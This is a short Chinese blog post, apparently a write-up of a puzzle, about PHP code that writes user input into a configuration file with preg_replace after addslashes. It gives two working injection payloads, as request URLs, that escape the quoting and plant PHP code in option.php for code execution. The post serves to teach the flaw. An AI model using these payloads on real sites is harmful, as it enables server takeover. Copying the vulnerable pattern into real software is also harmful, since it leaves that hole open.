PHP正则配合写配置文件导致Getshell

时间:2023-03-09 03:11:18
PHP正则配合写配置文件导致Getshell

PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题。

分析一下,漏洞代码:

index.php

<?php
$str=addslashes($_GET['option']);
$file=file_get_contents('option.php');
$file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
echo $file;
file_put_contents('option.php', $file);
?>

option.php

<?php
$option='';
?>

现在来分析一下代码:

  1. 对传入的 option 参数进行 addslashes ,比如有单引号 ',会变成\'
  2. 通过正则匹配 option.php 中的 $option='123';,将123的内容替换为经第一步处理的值。
  3. 替换完成,将其写入 option.php。

场景:写入配置文件。

方法一(利用正则的.*、单引号):

先访问:

http://127.0.0.1/test/index.php?option=123';%0aphpinfo();//

经过 addslashes 后,$str 值为 123\';%0aphpinfo();//

进行正则匹配并写入文件,option.php 的内容变为:

<?php
$option='123\';
phpinfo();//';
?>

再访问:

http://127.0.0.1/test/index.php?option=123

正则匹配时,会将两个单引号里的内容即 123\ ,替换为 123,此时 option.php 的内容变为

<?php
$option='';
phpinfo();//';
?>

最后访问:http://127.0.0.1/test/option.php

成功 Getshell

PHP正则配合写配置文件导致Getshell

方法二(利用preg_replace的转义):

访问:

http://127.0.0.1/test/index.php?option=123\';phpinfo();//

经过 addslashes 后,$str 为 123\\\';phpinfo();//

虽然 addslashes 将\转义为\\但是经过preg_replace正则匹配处理后\\又变为了\ ,三个\\\变成了两个\\

所以最后写入文件option.php 的内容变为:

<?php
$option='123\\';phpinfo();//';
?>

访问:http://127.0.0.1/test/option.php

成功 Getshell

PHP正则配合写配置文件导致Getshell

原文链接:http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html

任重而道远!